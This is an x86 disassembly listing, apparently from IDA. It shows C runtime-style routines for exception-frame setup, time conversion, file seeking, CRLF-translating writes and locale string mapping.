		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB358
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8F4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC948
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC944
		call	near ptr 2650000h
		nop

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CDBC[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCD8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCDC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCE0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC700
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB2A8, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2760000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2670E9Dh
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC600[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB2A8, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC700
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2670E9Dh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2670E9Dh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB2A8, 1Ch
		mov	dword_4DB2AC, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB37C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB37C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2641167h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB37C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB37C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2641167h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28010B9h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB380
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB380, ecx
